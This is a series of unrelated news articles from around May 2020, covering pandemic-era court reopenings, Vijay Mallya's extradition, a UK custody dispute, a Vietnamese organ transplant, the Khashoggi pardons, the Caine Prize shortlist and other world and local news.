Besides getting cases moving, the goal is to provide a preview of what issues might arise as cases and people resume flowing though the states busiest criminal courthouse  such as how to limit elevator capacity, or how to design schedules that can allow for proper distancing within a courtroom.

 READ MORE: As Philly courts continue with emergency coronavirus hearings, the Defender Association bypasses one judge

Preliminary hearings  a key proceeding at which prosecutors must persuade a judge there is enough evidence for a case to move forward  are expected be held by Zoom starting in June, Fox said.

District Attorney Larry Krasner said his office was hopeful about that step, and had helped stage a mock preliminary hearing via Zoom this week.

Earlier this month, the courts held some emergency hearings by Zoom as part of an effort to reduce the citys jail population.

Philly suburbs

In Chester County, all functions will resume on June 2, according to an order issued May 13, though jury trials will be suspended until at least August.

Norwood-Foden, the administrator, said anyone entering a courtroom must have their temperature taken and wear a mask, and judges have been encouraged to use technology to limit the people who need to appear in person.

 READ MORE: The path to reopening brings anxieties about how to navigate the new normal

Some degree of normal operations will also be returning in June to Montgomery and Bucks Counties, according to orders posted online. Delaware Countys emergency order suspending most court proceedings also ends on June 1.

Precautions will be taken for anyone entering courthouses.

Bucks County, for example, has established a quarantine room, where anyone with an illness will be taken if they exhibit symptoms inside a courtroom. The courtroom will then be decontaminated.

New Jersey

New Jersey began hosting virtual sessions beginning in mid-March for detention, plea, and sentencing hearings in criminal cases in Superior Court. A suspension on virtual hearings for Municipal Court cases, which deal with minor criminal offenses and other matters, was lifted in late April.

The program to hold remote grand juries has been designed to ensure that Zoom hearings are held securely and protect grand jury secrecy, according to court officials.

We made a decision early on that the court system needed to function not just for emergencies but for as many proceedings as possible," Chief Justice Stuart Rabner said in a statement Wednesday. Since March 16, more than 26,000 court events have been held remotely in New Jersey involving more than 217,000 participants.
India is in touch with the British government over extradition of fugitive liquor baron Vijay Mallya after he exhausted legal options against New Delhi's request to the UK to extradite him. "The government of India is in touch with the UK regarding the next steps in his extradition process," External Affairs Ministry Spokesperson Anurag Srivastava said on Thursday.

He was replying to a question on Mallya's extradition to India during an online media briefing. Last week, Mallya lost his appeals in the UK Supreme Court against his extradition to India to face money laundering and fraud charges. The UK top court's decision marked a major setback to the 64-year-old businessman as it came weeks after he lost his High Court appeal in April against an extradition order to India.

Mallya has been based in the UK since March 2016 and remains on bail on an extradition warrant executed three years ago by Scotland Yard on April 18, 2017. The High Court verdict in April upheld the 2018 ruling by Chief Magistrate Emma Arbuthnot at the end of a year-long extradition trial in December 2018 that the former Kingfisher Airlines boss had a "case to answer" in the Indian courts. Replying to another question on China's growing assertiveness in South China Sea, Srivastava said India has an abiding interest in peace and stability in the area.

He said there must be freedom of navigation and overflight in South China Sea and differences, if any, should be resolved through dialogue without resorting to use of force. China's aggressive military posturing in South China Sea is seen by many security experts as an attempt to leverage the situation caused by the COVID-19 pandemic to push its agenda in the region.

Following China's rising military presence, the US has sent additional deployment to the South China Sea, a strategically key trade route linking Southeast Asia.

Also read: Vijay Mallya loses final appeal; extradition process to begin in 28 days

Also read: UK Court rejects Vijay Mallya's appeal against extradition to India
Too Hot to Handle star Lydia Clyma has a secret son she didn't speak about on the show after becoming a mum aged 19, MailOnline can reveal.

Lydia, 23, from Portsmouth became a mother in her teens to her three-year-old son Isaiah Clyma, who she shares with ex-boyfriend Lewis Warren.

The MMA ring girl, who rose to fame on the Netflix dating series, chose not to disclose she's a parent during her time on the show  while her co-star Rhonda Paul, 27, admitted to love interest Sharron Townsend, 25, she had a family at home.

Adorable: Too Hot to Handle star Lydia Clyma has a secret son she didn't speak about on the show after becoming a mum aged 19, MailOnline can revel

A source told MailOnline: 'Lydia wanted to go on the show without having to think or worry about telling the other contestants that she's a mum.

'She had her son at a young age and being on the series gave her the chance to date again freely.

'Other than growing close to David, there wasn't any real reason for her to open up about Isaiah, so she didn't feel the need to say on or off camera.'

Lydia, who also appeared on E4 show Sex Clinic, was a bombshell arrival on Too Hot to Handle, that sees 14 sexy guys and girls placed in a luxury beachside villa in Mexico to find love  and win the 80,000 prize.

Yummy mummy: Lydia, who also appeared on E4 show Sex Clinic, was a bombshell arrival on Netflix series Too Hot to Handle, where she enjoyed a romance with co-star David Birtwistle

On arrival the contestants, who include couple Francesca Farago and Harry Jowsey, were told no physical contact is allowed and the prize fund will go down each time the rule is broken.

On Instagram today Lydia shared a post of her kissing and smiling at son Isaiah, captioning the image: 'Do not fear, for I am with you  Isaiah 41:10.'

Lydia's co-star Rhonda told Sharron she was a mum with the pair even meeting the model's son on FaceTime while still living together at the Mexican sex retreat.

Rhonda's relationship with Sharron has since ended while rule breakers Francesca and Harry are still dating.

Expectant mother: The reality star, 23, from Portsmouth posed for a shoot in the bath while holding her bump back in 2015

Bond: On Instagram today Lydia shared an image with son Isaiah, who she shares with ex-boyfriend Lewis Warren, captioning the post 'Do not fear, for I am with you  Isaiah 41:10'

Lydia enjoyed a brief fling with former rugby player David Birtwistle during her stint on the series; with the pair continuing to remain close now they're back in the UK.

Earlier this month Lydia and David were accused of breaking lockdown rules by attending a 'wild party' at co-star Nicole O'Brien's London flat.

Neighbours confirmed to Mirror Online that the three reality stars were 'up all night playing drinking games and doing shots.'

Lydia's former fling and co-star David commented on her picture with Isaiah, saying: 'The absolute cutest. So much love.'
Roll out the barrel (or two) and well have a barrel of fun  unless theyre filled with something other than beer or monkeys.

I dont know about you, but when I see an old metal drum with a lid on it that cant be pried off, where it shouldnt be, I suspect somebody dumped it there because its filled with vile stuff thats hard to get rid of.

Thats often not the case, but for a guy whos seen a lot of illegal dumping, its a natural conclusion to make. And also for other people, or so it seems.

Rita Monsma emailed to say shes been wondering about two barrels that have languished on Danforth Road, north of Eglinton Avenue, since local road construction wrapped up several months ago.

Why were these left by the construction company? she asked, adding that a photo of the drum she included in her email to me was taken just two days earlier.

What a sight to behold! said Monsma, noting that the barrel is next to a transit shelter in front of the St. Davids Village retirement residence, while another is just down the street.

I found a rusty barrel next to a shelter at Danforth and Trudelle Street, while a second drum is lying on its side, on the boulevard in front of an apartment building at 1320 Danforth, about 150 metres away.

The barrel next to the shelter had a layer of gravel scattered around it, but the lid was firmly fastened, preventing me from getting a look at whats inside it.

While I was there I talked to a man who came out of the seniors residence, who said hes been wondering about the contents of the drum and if it was dumped there, instead of forgotten by the construction contractor.

His head and mine work in the same way. By the looks of them, Id say its 50-50 that somebody dumped them.

My suspicions are confirmed by a Google Street View image taken in September 2019, which shows both barrels exactly in the same location. The construction occurred later.

STATUS: Whatever was in them, the barrels arent a problem now. Eric Holmes, a spokesperson for transportation services, emailed to say the drums were taken away Tuesday morning by city staffers.

Whats broken in your neighbourhood? Wherever you are in Greater Toronto, we want to know. Email jlakey@thestar.ca or follow @TOStarFixer on Twitter
A father worried that his young daughters will be exposed to Covid-19 after returning to school has lost a legal battle with his ex-wife to stop them going back.

The father, who cannot be named for legal reasons, told the key-worker mother of his two daughters that he was unhappy they had gone back to school last week.

The couple have been sharing custody of their children, aged ten and eight, for the past eight weeks during lockdown.

Their mother, aged in her 40s, returned to work in a primary school last week and sent her daughters back to their own school, which is not the one where she works.

A father, 53, is worried that his daughters, eight and 10, are being exposed to Covid-19 after returning to school has lost a legal battle in Portsmouth Family Court, Hampshire with his ex-wife to stop them going back. Pictured: West Bridgford Infants School in Nottingham

The two girls are spending one week with their mother and one week with their father, 53, and he objected to the children going back to school.

His ex-wife applied to a family court for their custody arrangements to be amended so she could ensure they attended.

The father tried to oppose the move this week during a video hearing, held via Zoom, before a judge at Portsmouth Family Court, Hampshire.

He said he would be happy to look after the children at his home while their mother worked.

But he lost his bid and the court reverted back to the couple's prior custody arrangement, giving the mother primary custody of the children.

The father says his oldest daughter is 'very concerned' about returning to school during the coronavirus pandemic. Pictured: Slaithwaite C of E Junior and Infant School in Slaithwaite, near Huddersfield, Yorkshire

The father from Hampshire said: 'I was horrified.

'I would have hoped that a family court judge, who is there to protect the interests of the children, would put the children's safety first.

'But he said he wasn't going to get involved with government advice, and agreed to go back to the original custody agreement - knowing full well she wanted them to go back to school.

'It's shocking. My children are really upset. After eight weeks they've come to understand about social distancing, and my eldest, who is ten, is very concerned.

'How is a child supposed to understand that they can be in school and see their friends during the day, but then after that they can't go and do other activities?'

His ex-wife applied to the family court for their custody arrangements to be amended so she could ensure the girls attended school when she returned to work as a primary school teacher at a different school

The father, who also has two stepchildren from his second marriage, says his current wife is also a key worker but they are not sending her children back to school.

He said: 'It seems stupid to send them back, it's absolutely crazy. I'm happy to have them safe at home with me, and doing schoolwork and homework here.

'The school have told me they don't want my children to come back. If they have a safe house they could be at, the school would rather they stayed there.

'They're working on restricting classroom sizes - they don't need the extra burden.

'But the school can't do anything. They've been directed by the government that they have to allow all the children of key workers to come back into school.

'The Secretary of State himself has stood up and said that he is not sending his children back to school. If his children aren't going, why should mine?

'It's putting the government's needs above my children's needs.'

The father, who also has two stepchildren from his second marriage, says his current wife is also a key worker but they are not sending her children back to school

With the court's ruling to go back to the couple's original 60/40 custody split, the dad will now only be able to see his daughters one day a week, as well as every other weekend and for half of school holidays.

The father, who had to apply for a 9,000 coronavirus Bounce Back loan to support his business during the lockdown, spent 4,000 on the 20-minute court hearing.

He said he and his ex-wife had a 'horrible' divorce in 2014, and said yesterday: 'She is just doing this to hurt me.

'I was told by the judge I had to hand over my children to their mother by this morning or I would be in contempt of court.

'I took the decision with a really heavy heart - because I didn't want my kids to see the police getting involved.'
A liver donated from an unfortunate brain dead woman in Hanoi has been transported to Ho Chi Minh City for transplant to a local patient, saving him from severe cirrhosis.

On May 20, the University Medical Centre (UMC) Ho Chi Minh City announced that doctors at the hospital successfully performed a liver transplant in the early morning of May 19. The liver was donated from a brain-dead person in Hanoi and was transferred by the Vietnam National Centre for Human Organ Transplantation (VNHOT) from the Hanoi-based Viet Duc Hospital to the UMC right on the night of May 18.

The female donor unfortunately fell into a braindead state after more than a month of treating her serious disease. Earlier, she voiced her wish to donate her liver and, through the VNHOT, her liver was determined to be suitable for H.V.L., a 37-year-old man living in HCM City, who was receiving treatment for cirrhosis at the UMC. After two months of chemotherapy, L.'s health was stabilised, and doctors assessed that only with a liver transplant would he have a good living prognosis with the possibility of a complete recovery from this disease.

After receiving the notice of suitable immune and biochemical indices between the donor and the recipient, at noon on May 18, the UMC experts decided to conduct a liver transplant for the patient and immediately carried out the preparations.

At 22 pm on the day, the donor's liver arrived at Tan Son Nhat Airport in HCM City and only 15 minutes later, it was transferred to the UMC and quickly taken to the operating room.

At 5:30 am on the next morning, the liver transplant was successfully completed. The liver of the donor has quickly adapted and is functioning well in the body of the recipient and L. has been in intensive care following the transplant.

Thanks to the noble gesture from the donor, as well as efforts from the related units and medical staff, a new life has been brought to L.

This is the second organ dispatch in the past week to travel from Hanoi to Ho Chi Minh City on a Vietnam Airlines aircraft.

This is the second flight within the past week transferring organs from Hanoi to HCM City. Both donors are women and they both donated their organs at Viet Duc Hospital. Earlier, on May 13, the VNHOT also sent a heart from Hanoi to the southern economic hub for transplant to a patient suffering severe heart failure.

To date, Viet Duc Hospital is the unit with the most organ donors and is also the medical facility sharing the most organs with other medical units in the country.

The timely transport of tissue/organs has increasingly been coordinated by the VNHOT, thus enabling the transplants to be carried out quickly and smoothly.

The tissue/organ transport flights in Vietnam are currently operated by Vietnam Airlines. The national flag carrier has given maximum priority to the task, with the enthusiastic help, solidarity and compassion of the whole system and cooperation with the VNHOT for such special flights.

To date, there has not been any delay in transporting the donated organs, ensuring a "golden period" in organ preservation. Nhan Dan

Vietnamese babies undergo successful liver transplants Two babies who underwent surgery for serious liver diseases have recovered, said the National Paediatrics Hospital on Wednesday.
A vulnerable young woman with a traumatic history who is regarded as a "very serious" risk to certain persons has threatened to procure the infection of another person with Covid-19, the High Court has heard.

Psychiatrists say the 18-year-old woman needs to be placed in a medium secure care unit but all such units approached to date are unwilling to take her and the search for an appropriate place, extending to units in the UK, continues, Barry O'Donnell SC, for the Child and Family Agency said.

High Court president Mr Justice Peter Kelly agreed on Friday to adjourn wardship proceedings concerning the woman and to continue orders for her detention in a special care unit which, he noted, is not designed to be secure.

An inquiry into whether the woman should be made a ward of court should proceed as soon as practicable so as to determine a dispute between doctors concerning her capacity, he said.

A report recently obtained by her lawyers from a psychiatrist had concluded she did not meet the criteria for wardship and that heightens the prospect of a contested wardship hearing, Mr O'Donnell said.

An earlier report by another psychiatrist had suggested her various disorders did not amount to loss of capacity and rather suggested a fluctuating capacity while two other psychiatrists were of the view she lacks capacity.

Details of a certain condition cannot, by court order, be disclosed.

The woman is separately represented in the proceedings because she and her court appointed guardian are in dispute as to what is in her best interests.

On Friday, Mr O'Donnell said he wanted the matter adjourned while efforts continue to find a medium secure placement and to allow his side time to get updated reports concerning capacity.

The woman objects to her mother continuing to be involved in the proceedings, he added.

The CFA considers the mother's involvement is useful but that dispute would have to be addressed by lawyers separately representing the mother and daughter, he said.

Mr Justice Kelly said reports had detailed many instances of "vicious and violent" conduct by the woman and made for "quite shocking" reading, including one citing threats she had made to behave in a certain ways so as to infect a certain person with Covid-19. She was reported as having said, if she did not succeed in infecting someone with Covid-19, there was "no point in continuing".

There appeared to be an "insuperable" difficulty in finding a medium secure place, he said.

On consent of the parties, he would adjourn the matter but was anxious the capacity issue be decided as soon as practicable. If she is found to lack capacity, she can be taken into wardship but, if found to have capacity, that is a matter for the criminal authorities, he said. The woman is subject of criminal proceedings before the District Court, on hold pending the wardship inquiry.

The court was previously told there is a prior history of assault and sexual violence and an incident earlier in 2019 lead to her admission to special care.

She had described her intentions and a large knife was found, the court heard.

She had set out in a manuscript a plan to kill and mutilate someone which, Mr O'Donnell said, was treated as a "definite" threat. She also talked about wanting to go to college and pursue a career, reflecting a form of "deep seated disordered thinking."

It was considered she would need to be placed in a UK specialist unit as the level of complexity presented exceeds anything the services here have come across, counsel said.
By Express News Service

HYDERABAD: Yacharam BJP MPP Koppu Sukanya, on Thursday, accused Ibrahimpatnam MLA Manchireddy Kishan Reddy and other TRS cadre of attacking her and abusing her in the name of caste when she raised a protocol issue at a groundbreaking ceremony.

Manchireddy was laying the foundation stone for a Pharma City road at Nandivanaparti village in Yacharam mandal of Rangareddy district when Sukanya raised some objections. Heated arguments followed after which Sukanya said she was roughed up by the MLA, his supporters and even policemen.

Sukanya was later admitted to a private hospital in Hyderabad. Stating that there was some commotion at the programme on Thursday, Rachakonda police however said the situation was brought under control immediately.

They also said that the MPP had not filed any complaint. We will inquire into the incident if there is a written complaint, an official said. Meanwhile, BJP State president Bandi Sanjay Kumar and TPCC SC wing president Preetam condemned the attack on Sukanya, who is a Dalit. They questioned why the TRS leaders were trying to lay a road to a pharma city during the lockdown. Bandi and Preetam accused the Ibrahimpatnam MLA of initiating the road work only to get commissions from contractors. They demanded that the police register a case against him under the SC, ST Atrocities Act. The two leaders later met Sukanya at the hospital.

Bandi demands action against TRS MLA

BJP State president Bandi Sanjay Kumar and TPCC SC wing president Preetam condemned the attack on Sukanya, who is a Dalit. They questioned why the TRS leaders were trying to lay a road to a pharma city during the lockdown. Bandi and Preetam accused the Ibrahimpatnam MLA of initiating the road work only to get commissions from contractors. They demanded that the police register a case against him under the SC, ST Atrocities Act
sundar pichai google

REUTERS/Albert Gea

Google CEO Sundar Pichai said the company doesn't plan to move its workforce entirely remote, but is thinking about how it will adapt to a post-pandemic world.

"I'm curious to see what happens as we get into that three-to-six-month window and we get into things where we are doing something for the first time," Pichai told Wired regarding the company's current remote setup.

Pichai also said that Google is still hiring, but less aggressively in certain areas.

Visit Business Insider's homepage for more stories.

This week, Facebook chief Mark Zuckerberg announced that half of the company's employees could be working remotely by the end of the decade, while Twitter has said its workforce can work from home permanently.

But Google and Alphabet CEO Sundar Pichai isn't willing to make the same commitment  at least not yet.

In an interview with Wired, Pichai suggested Google is still working out what its remote work policies may look like once the pandemic is over, but that he believes there to still be good reason to get people together in the same space.

"I don't think we are going to come out of this and be back where we were before this all started. So I expect us to adapt but it's still too early to tell how much," he said when asked if Google might follow Facebook's lead.

"Early on, I'm excited that some of this is working well. But it is based on a foundation of all of us knowing each other and having the regular interactions we already had. I'm curious to see what happens as we get into that three-to-six-month window and we get into things where we are doing something for the first time," Pichai said. "How productive will we be when different teams who don't normally work together have to come together for brainstorming, the creative process? We are going to have research, surveys, learn from data, learn what works."

Story continues

Google recently told employees that most should expect to work from home for the rest of the year, with a select few returning possibly as soon as June.

Over at Facebook, Zuckerberg said the company would ramp up its remote-hiring and allow a large number of its employees work permanently at home. If other companies such as Google follow its lead and move to a more remote-heavy workforce, there could be significant ramifications for the San Francisco Bay Area.

Pichai was also asked if the pandemic and changing thoughts around remote work would impact its plans for major office developments in both the Bay Area and New York.

"In all scenarios I expect us to need physical spaces to get people together, absolutely," he said. "We have a lot of growth planned ahead. So even if there is some course correction I don't think our existing footprint is going to be the issue. I am positive we will put it to good use and I'm anxious to see some of those projects get done."

However, these expansions could be slowed by the pandemic. During Google's latest earnings call, CFO Ruth Porat said the company's capital expenditures for 2020 would see "a modest decrease" as the company paused or slowed various expansion projects.

Hiring is another area that Google is pulling back on right now. In the Wired interview, Pichai reiterated that the company is still hiring, but less aggressively in certain areas.

"We are moderating our hiring plans but we are still bringing in people," he said. "That doesn't mean we aren't looking for efficiencies. We are looking at areas where we can course correct, where we can be more efficient, where we can streamline."

Read the original article on Business Insider
Goa, which was declared a "green zone" earlier this month after reporting no new COVID-19 cases, now has more than 50 positive patients. With two new COVID-19 cases reported in Goa, the total number of coronavirus cases in the State rises to 52.

Out of the 52 cases, seven patients have been cured while the State has 45 active cases. No fatalities due to COVID-19 have been reported in the state so far.

In May, Goa tourism minister said that the popular tourist destination will not allow backpackers and budget tourists but only the wealthy ones.

Tourism Minister Manohar Ajgaonkar reiterated the sentiment and said, We have to recreate the Goa of the 1960s to kickstart our tourism again. In the 1960s, Goa was beautiful and now in 2020 it is very different with more than 8 million visiting tourists.

AFP

He further added, What we are trying to do along with experts, is to take Goa back to the 1960s. We do not want tourists who consume drugs, cook on our roads, or who create nuisance on beaches. We want good tourists who are wealthy and who can appreciate Goa and its culture.

We have to start off from zero. We are right actually in a minus-zero stage now. Until state-to-state level travel can happen we cannot do anything. I feel only when a vaccine is invented or a cure is developed, that tourism movement will begin to happen in Goa.

His statement drew massive criticism but was soon followed by fresh cases being reported in the state.

BCCL

On May 1, Goa was declared as a green zone after all the seven COVID-19 patients previously found in the state recovered.

The state government had allowed resumption of most of the economic activities, including industries. However, the plans to open the state that thrives on tourism for "rich tourists" seems to be shelved.

Screenings and swab tests are mandatory for all persons coming into Goa in wake of the pandemic.
(Newser)  Jamal Khashoggi's former fiancee is no fan of his sons' decision to forgive the five Saudi agents convicted of the journalist's 2018 murder in Istanbul. "His ambush and heinous murder does not have a statue of limitations and no one has the right to pardon his killers," Hatice Cengiz tweeted Friday, per the BBC. "I and others will not stop until we get #JusticeForJamal," added Cengiz, a Turkish national. She said "the killers came from Saudi with premeditation to lure, ambush & kill him." The earlier statement from Salah Khashoggi, who lives in the Saudi city of Juddah and reportedly receives monthly compensation from the Saudi government, announced Khashoggi's five sons had forgiven the killers. Under the Saudi legal system, that clears the way for pardons, reports the Washington Post.

story continues below

"The killers will walk free. Exonerated," tweeted Agnes Callamard, the UN Special Rapporteur for extrajudicial summary or arbitrary executions who investigated Khashoggi's killing. "The Saudi authorities are playing out what they hope will be the final act in their well-rehearsed parody of justice in front of an international community far too ready to be deceived," she added. A statement signed by dozens of Saudi activists and politicians suggests Khashoggi's relatives are unable to speak freely, per Al Jazeera. "We reject the use of Saudi authorities of some of Khashoggi's family members to whitewash the country's judiciary and dwarfing Khashoggi's case," it reads. (Read more Jamal Khashoggi stories.)
Three Nigerians have been shortlisted for the 2020 AKO Caine Prize for African Writing.

The Caine Prize is an annual literary award for the best original short story by an African writer, whether in Africa or elsewhere, but published in the English language.

The trio are Chikodili Emelumadu for his short story, What to do when your child brings home a Mami Wata; Jowhor Ile for Fishermans Stew and Irenosen Okojie for Grace Jones from Nudibranch, a collection of stories.

The five-writer shortlist for the 20th edition of the Caine Prize featured stories that speak eloquently to the human condition through a diverse array of themes and genres. It was virtually graded by the judging panel.

The shortlisted authors for this years prize are from Namibia, Nigeria, Rwanda and Tanzania. Three out of the five writers are Nigerians. One has dual citizenship (Namibia, Rwanda).

Other writers include Tanzanias Erica Sugo Anyadike for How to Marry An African President and Namibia and Rwandas Remy Ngamije for The Neighbourhood Watch.

Organisers of AKO Caine Prize said they had to postpone this years award ceremony due to the coronavirus pandemic but would announce this years prize winner later in the year.

The safety of our authors, staff, guests and partners remains a priority, and the prize will continue to closely monitor the latest government guidelines, the organisers said.

The winner will receive 10,000 (approximately N4.8 million) in September while shortlisted writers will also receive 500 (approximately N240,000) each.

The shortlisted stories will be published in an anthology, and also through co-publishers in 16 African countries who receive a print-ready PDF free of charge.

Nigerian writers who won the prize in the past include: Helon Habila (2001), Segun Afolabi (2005), EC Osondu (2009), Rotimi Babatunde (2011), Tope Folarin (2013) and Lesley Armah (2019).

Robust literature

Meanwhile, the chair of the judging panel, Kenneth Tharp, said the shortlisted stories signal a robust African literature that speaks to human conditions as a homogeneous whole.

READ ALSO:

We were energised by the enormous breadth and diversity of the stories we were presented with  all of which collectively did much to challenge the notion of the African and diaspora experience, and its portrayal in fiction, as being one homogeneous whole.

These brilliant and surprising stories are beautifully crafted, yet they are all completely different from one another. From satire and biting humour, to fiction based on non-fiction, with themes spanning political shenanigans, outcast communities, superstition and social status, loss, and enduring love.

Each of these shortlisted stories speak eloquently to the human condition, and to what it is to be an African, or person of African descent, at the start of the second decade of the 21st century, he said in a statement posted on the prizes website.
BRPC Eliminates Community Assessment Increases

PITTSFIELD, Mass.  The Berkshire Regional Planning Commission accepted an amended budget Thursday with no increases to community assessments.

The Committee voted to rescind the assessment increases to member communities in response to the financial impacts COVID-19 will surely have throughout Berkshire County.

"The situation has changed dramatically since January and understanding the fiscal challenges that our communities are going to be facing over the next year and possibly longer," BRPC Executive Director Thomas Matuszko said. "It is a recommendation to roll back that increase."

Originally in January, the commission voted to implement a 2.5 percent increase to all member communities but earlier this month agreed it may be better to keep the assessment level funded.

Matuszko said this amount may be small, around $2,600 and is more symbolic.

"I think it is an important symbol to our communities to show that we recognize their plight," he said.

The committee then accepted the full fiscal 2021 budget of $3,434,072. Matuszko said the budget is actually $574,564 higher than fiscal 2020. This is primarily because of several new grants for Education, Public Health and Environmental programs.

Toward the end of the meeting, the committee took some time to talk about the impacts of COVID-19 and Matuszko asked if any of the communities were considering new zoning that would expand outdoor dining and shopping.

"It seems that the social distancing requirements might be with us over the summer," Matuszko said. "Something that might allow for greater flexibility for outdoor dining."

Sheila Irvin, the Pittsfield representative, said the city is considering such changes. She said other communities have found ways to use public space for dining.

Pedro Panchano, the Great Barrington representative, said his town has had early conversations about closing down roads to vehicles and allowing open markets that would allow social distancing.

James Sullivan, the Hinsdale representative, said he was hesitant to change town or city codes until there is more information on the virus.

"Making changes to the zoning bylaws and having to go back and change them again later would be redundant to begin with," he said. "We are 4 1/2 months into this and are literally talking about restructuring everything we do."

He reiterated that the virus was not permanent and noted there is not a one size fits all zoning change that would help all communities and businesses.

Commissioner Roger Bolton said these changes could be temporary and they did not have to try to push full on zoning changes.

Commissioner Malcolm Fick added that he did not see a zoning change as restrictive but something that could help restaurants and businesses recover and cope with social distancing requirements.

"Every town is suffering a lot and if we can do something small to help businesses that are suffering it is a worthwhile endeavor," he said. " What we can do to help small businesses now is vital."

Chairman Kyle Hanlon agreed and said restaurants specifically are going to "take it on the chin" this summer and it may be helpful if planners could find a way for them to capture more revenue through this next short term period.

John Duval of Adams said it also may help build consumer confidence if communities can find ways to alter zoning to allow people to visit establishments while maintaining social distancing.

"It is a matter of confidence," Duval said. "They can be open, they can be clean, and have all of the social distancing but if people don't have the confidence to go out and visit these restaurants or stores ... we need to get people confident to help them in the short term."

In other business, the commission approved the Berkshire County Metropolitan Planning Organization draft Transportation Improvement Program that ranges from fiscal years 2021 to 2025.

Anuja Koirala, senior transportation planner, went through the plan and requested that the chair vote for the plan at the upcoming MPO meeting.

A comprehensive view of the plan can be found here in the meeting documents.

The commission also accepted the proposed Transportation Unified Planning Work Program for fiscal 2021 and some changes to the Solar Massachusetts Renewable Target (SMART) Program Regulations

Both of these can be found in the meeting documents.
Coastguard officials are mounting a rescue effort concerning a British yacht believed to be in trouble at sea north-west of Spain.

A beacon alert was received for the UK-registered 10-metre yacht Helena in an area 500 miles north-west of Cape Finisterre at around 12.20am on Friday, the Maritime and Coastguard Agency said.

Two vessels were on their way to assist, but the yacht's location meant the nearest craft able to help was 22 hours away, it added.

A beacon alert was received for the UK-registered 10-metre yacht Helena in an area 500 miles north-west of Cape Finisterre (pictured) at around 12.20am on Friday, the Maritime and Coastguard Agency said

A French maritime patrol aircraft has been sent to search the area. It is not yet known how many people are on board.

The Coastguard has been unable to make contact with the Helena, and is appealing for help from anyone with further details of the yacht and its crew.

Pictured: Cape Finisterre, 500 miles from where the ship became stranded in the sea

'We're coordinating the response and are working with the French Maritime Rescue Coordination Centre, looking at all the means to get someone on scene as soon as possible, including sending military planes to help but the location and the weather is making that an extra challenge,' Coastguard duty controller Piers Stanbury said in the statement
Vietnam opposes any threat of force or use of force against the territorial integrity, independence, sovereignty of all states and interference in their internal affairs, the Vietnamese Ambassador to the UN told a UNSC teleconference on May 20.

Ambassador Dang Dinh Quy, Permanent Representative of Vietnam to the UN.

Such actions run counter to the basic principles of international law and the UN Charter, Ambassador Dang Dinh Quy, Permanent Representative of Vietnam to the UN, told the meeting, requested by Russia, to discuss the situation in Venezuela.

Rosemary A. DiCarlo, UN Under-Secretary-General for Political and Peacebuilding Affairs, noted that the Venezuelan Government sent a letter to the UNSC on May 13 stating that armed groups of mercenaries and terrorists organised by the US and Colombia illegally entered the country on May 3 and 4.

The US and Colombia have both denied these allegations of involvement, she said.

Ambassador Quy urged parties concerned to exercise restraint and not use force or threaten to use force, to avoid escalating tensions and causing instability.

He expressed support for the efforts of Venezuelas constitutional government and stakeholders in promoting dialogue and seeking long-term solutions via peaceful means, in line with international law and the UN Charter.

Venezuelas people must resolve their own problems through solutions based on respect for the countrys Constitution and the peoples will, he said.

He further noted that in the face of the ongoing COVID-19 pandemic, priority should be given to constructive cooperation and humanitarian assistance to curb the spread of the virus in the Latin American country./.VNA
Here are todays top news, analysis and opinion. Know all about the latest news and other news updates from Hindustan Times.

3 amateur videos capture moments after Pakistan plane crash near Karachi airport

A Pakistan International Airlines (PIA) plane crashed in Karachi on Friday. The flight was on its way from Lahore to Karachi. News agency Reuters reports that the plane had 99 passengers onboard when it crashed. Read more

Along with 1k crore, PM Modi pledges shoulder to shoulder help to Bengal

Prime Minister Narendra Modi on Friday afternoon declared an advance assistance fund of 1000 crore for relief and rehabilitation in Amphan-hit districts of Bengal after conducting an aerial survey of the worst-hit areas in the North and South 24 Parganas districts with chief minister Mamata Banerjee. Read more

Pakistan plane, about to land, crashes near Karachi; 107 on board

A Pakistan International Airlines (PIA) flight on its way from Lahore to Karachi, crashed in the area near Jinnah International Airport on Friday, according to Civil Aviation Authority officials. Read more

Harsh Vardhan takes charge as WHO Executive Board chairman, 3 key posts now held by Indians

Union Health Minister Dr Harsh Vardhan on Friday took charge as Chairman of the World Health Organisations (WHO) Executive Board at a time when countries across the world are grappling with the Covid-19 pandemic. Read more

Oxfords coronavirus vaccine trial progressing very well, on to second phase now

The widely-followed trials for a coronavirus vaccine at the University of Oxford were described on Friday as progressing very well, with experts moving to the next phase after initiating the trial in April, when over 1000 immunisations of its candidate-vaccine were completed. Read more

Supreme Court seeks Centres response in plea to ban use of Zoom app

The Supreme Court (SC) on Friday sought the response of the central government in a plea seeking a ban on the use of Zoom software application, citing privacy and security concerns. Read more

China abandons growth target, lowers defence budget rise for 2020 amid pandemic

China for the first time in decades will not have a GDP growth target for 2020 given the global economic uncertainties because of the Covid-19 pandemic, a government work report released by Premier Li Keqiang said Friday. Read more

Solutions to tackle future pandemics lies in conserving biodiversity: Experts

Mankind can find solutions for future pandemics in conservation of biodiversity, which simply means conserving the gene pool of all things living, for posterity. Read more

Watch singing husky Kovu give Jason Mraz a run for his money as he hums along to Im Yours with his hooman

Some of us may remember the track Im Yours by Jason Mraz. Well, now there is a new cover of the classic song which may leave you swooning even more than the original did. Read more

Explained: How coronavirus is spreading so quickly

Droplets from mild coughing in slight breeze can travel 6 metres in 5 seconds. Without masks, social distancing of 2 metres may not protect against infection. Children within the trajectory of the travelling droplet cloud are at risk. Watch the full video for more details. Read more

Gulabo Sitabo trailer: Ayushmann Khurrana, Amitabh Bachchan settle land dispute with charm

Shoojit Sircars Gulabo Sitabo trailer, starring Ayushmann Khurrana and Amitabh Bachchan, has been released. In an unprecedented move for a film of this scale, Gulabo Sitabo will premiere directly on streaming on June 12, when it debuts on Amazon Prime Video. Read more

TikTok app rating on Google Play Store rises to 1.6 from 1.3 in a day, still gets poor reviews from users

Social media app TikTok is not having its brightest of days. Since earlier this week, the companys app on Google Play Store has witnessed a lot of backlash due to the CarryMinati YouTube vs TikTok battle and also for the quality of content it shows to millions of users. Read more

Eid al-Fitr 2020: Saudi Arabia moon sighting timing, Shawwal start date, end of Ramadan

Eid al-Fitr or Eid ul-Fitr or Meethi Eid marks the end of Ramadan, also referred to as Ramzan, the Islamic holy month of fasting and is celebrated by Muslims all across the globe. Read more
On Friday, Donald Trump announced his appointment of Moncef Slaoui, a former executive with vaccine manufacturer GlaxoSmithKline, to lead Operation Warp Speed, Trumps plan to fast track the development of vaccines for COVID-19. Slaoui will serve in a volunteer position, assisted by Army Gen. Gustave Perna, the commander of United States Army Materiel Command.

